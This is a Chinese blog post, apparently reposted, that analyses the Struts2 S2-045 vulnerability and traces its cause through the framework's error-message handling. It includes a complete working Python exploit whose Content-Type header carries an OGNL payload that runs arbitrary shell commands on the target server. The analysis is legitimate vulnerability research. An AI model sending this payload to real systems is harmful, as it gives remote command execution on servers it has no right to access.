s2-045 java_S2-045漏洞初步分析
0x01 前言
前幾天剛分析完s2-032這個漏洞,今天又爆發(fā)了一個s2-045的漏洞,又是直接的命令執(zhí)行,影響了struts2絕大多數(shù)的版本.
官方給的漏洞公告在這里?? https://cwiki.apache.org/confluence/display/WW/S2-045
受影響版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 -Struts 2.5.10
其實昨天就看到朋友圈有人在發(fā)這個漏洞,一看是s2-045,心想著struts2的問題可真多,編號都排到45了,就像道哥說的一樣如果一個軟件出現(xiàn)的漏洞較多,那么說明代碼維護者的安全意識與安全經(jīng)驗有所欠缺,同時由于破窗效應(yīng),這個軟件未來往往出現(xiàn)更多的漏洞,struts2確實讓人不太省心,然后當(dāng)時也給自己一個做j2ee開發(fā)的朋友說s2又爆出了一個漏洞,他還不在乎的說誰現(xiàn)在還用struts2啊,我們現(xiàn)在都用SpringMVC了,但是自己測試了幾個大型的網(wǎng)站,還是受到了s2-045漏洞的影響,仔細想想的確現(xiàn)在開發(fā)j2ee struts2框架的很少了,但是一些網(wǎng)站的老系統(tǒng)之前都是用的s2框架,而這些可能又是和他們業(yè)務(wù)息息相關(guān)的,一時的完全替代成本太高,所以基本是就是“修修補補又三年”的狀態(tài)。
0x02 poc分析
網(wǎng)上流傳的poc傳播的很快,代碼如下:
#! /usr/bin/env python#encoding:utf-8
importurllib2importsysfrom poster.encode importmultipart_encodefrom poster.streaminghttp importregister_openersdefpoc():
register_openers()
datagen, header= multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request= urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response=urllib2.urlopen(request)printresponse.read()
poc()
之前測試s2-032的環(huán)境struts2的版本就是2.3.28,也是這次漏洞受影響的版本,所以是直接就可以拿來用。
wireshark抓個包看看。如下圖所示:
從poc和wireshark中可以看到,惡意的payload是以http header中的Content-type為載體的,最終導(dǎo)致ognl表達式的命令執(zhí)行的目的。這個poc的ognl表達式和之前的s2-032不同,還是頗有講究的,對win和linux做了兼容性處理。
0x03 漏洞分析
過程回溯
通過patch對比發(fā)現(xiàn)
變化就在return的這行,從所在的類名和函數(shù)名buildErrorMessage可以看出應(yīng)該是當(dāng)對Mulitpart解析出錯之后“建立”錯誤消息,那我們在這里加個斷點試試看,加斷點之后發(fā)現(xiàn)當(dāng)代碼執(zhí)行完這行到這一步的時候,對應(yīng)的我們的命令就執(zhí)行了,如下圖
據(jù)此可以判定這里就是問題所在的地方,那這個findtext又是什么來路?我們來看看這個函數(shù)的定義:
public staticString findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) {
ValueStack valueStack=ActionContext.getContext().getValueStack();returnfindText(aClass, aTextName, locale, defaultMessage, args, valueStack);
}/*** Finds a localized text message for the given key, aTextName. Both the key and the message
* itself is evaluated as required. The following algorithm is used to find the requested
* message:
*
*
*
Look for message in aClass' class hierarchy.*
*
Look for the message in a resource bundle for aClass*
If not found, look for the message in a resource bundle for any implemented interface*
If not found, traverse up the Class' hierarchy and repeat from the first sub-step*
*
If not found and aClass is a {@linkModelDriven} Action, then look for message in* the model's class hierarchy (repeat sub-steps listed above).
*
If not found, look for message in child property. This is determined by evaluating* the message key as an OGNL expression. For example, if the key is
* user.address.state, then it will attempt to see if "user" can be resolved into an
* object. If so, repeat the entire process fromthe beginning with the object's class as
* aClass and "address.state" as the message key.
*
If not found, look for the message in aClass' package hierarchy.*
If still not found, look for the message in the default resource bundles.*
Return defaultMessage*
*
* When looking for the message, if the key indexes a collection (e.g. user.phone[0]) and a
* message for that specific key cannot be found, the general form will also be looked up
* (i.e. user.phone[*]).
*
* If a message is found, it will also be interpolated. Anything within ${...}
* will be treated as an OGNL expression and evaluated as such.
*
* If a message is not found a WARN log will be logged.
*
*@paramaClass the class whose name to use as the start point for the search
*@paramaTextName the key to find the text message for
*@paramlocale the locale the message should be for
*@paramdefaultMessage the message to be returned if no text message can be found in any
* resource bundle
*@paramvalueStack the value stack to use to evaluate expressions instead of the
* one in the ActionContext ThreadLocal
*@returnthe localized text, or null if none can be found and no defaultMessage is provided*/
大致的意思是通過給定的key和aTextname找到本地化的text message,關(guān)鍵點在key這個參數(shù)會進行ognl表達式的執(zhí)行。不斷跟進代碼,我們最終發(fā)現(xiàn)了ognl表達式和我們的payload是在LocalizedTextUtil類的getDefaultMessage()這個函數(shù)里面最終執(zhí)行的。
可見漏洞產(chǎn)生的關(guān)鍵點是在處理 error message產(chǎn)生了問題,message拼接了用戶的“輸入”,而這個message參數(shù)會傳遞到transalteVariables()這個函數(shù),這個函數(shù)的定義如下:
/*** Converted object from variable translation.
*
*@paramopen
*@paramexpression
*@paramstack
*@paramasType
*@paramevaluator
*@returnConverted object from variable translation.*/
public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, intmaxLoopCount) {
ParsedValueEvaluator ognlEval= newParsedValueEvaluator() {publicObject evaluate(String parsedValue) {
Object o=stack.findValue(parsedValue, asType);if (evaluator != null && o != null) {
o=evaluator.evaluate(o.toString());
}returno;
}
};
expression是要被用作ognl表達式執(zhí)行的,這個時候就boom,命令執(zhí)行了。
0x04 小結(jié)
攻擊者構(gòu)造的header中的Content-Type會經(jīng)過dispatcher.multipart包中Jakarta相關(guān)類的處理,但是解析出錯,而且是未定義的錯誤,那么程序就將這個錯誤message“輸出”出來,但在輸出的時候還拼接了用戶的輸入,而且還被當(dāng)做ognl表達式來執(zhí)行(有些不太讓人理解?為了更友好的展示錯誤輸出信息?),這樣就導(dǎo)致了命令執(zhí)行。
0x05 防御
升級至最新版本
0x06 Reference
1.http://paper.seebug.org/241/?from=timeline&isappinstalled=0
超強干貨來襲 云風(fēng)專訪:近40年碼齡,通宵達旦的技術(shù)人生總結(jié)
以上是生活随笔為你收集整理的s2-045 java_S2-045漏洞初步分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python 3解释器_Python3解
- 下一篇: 正整数 java_JAVA语言:正整数A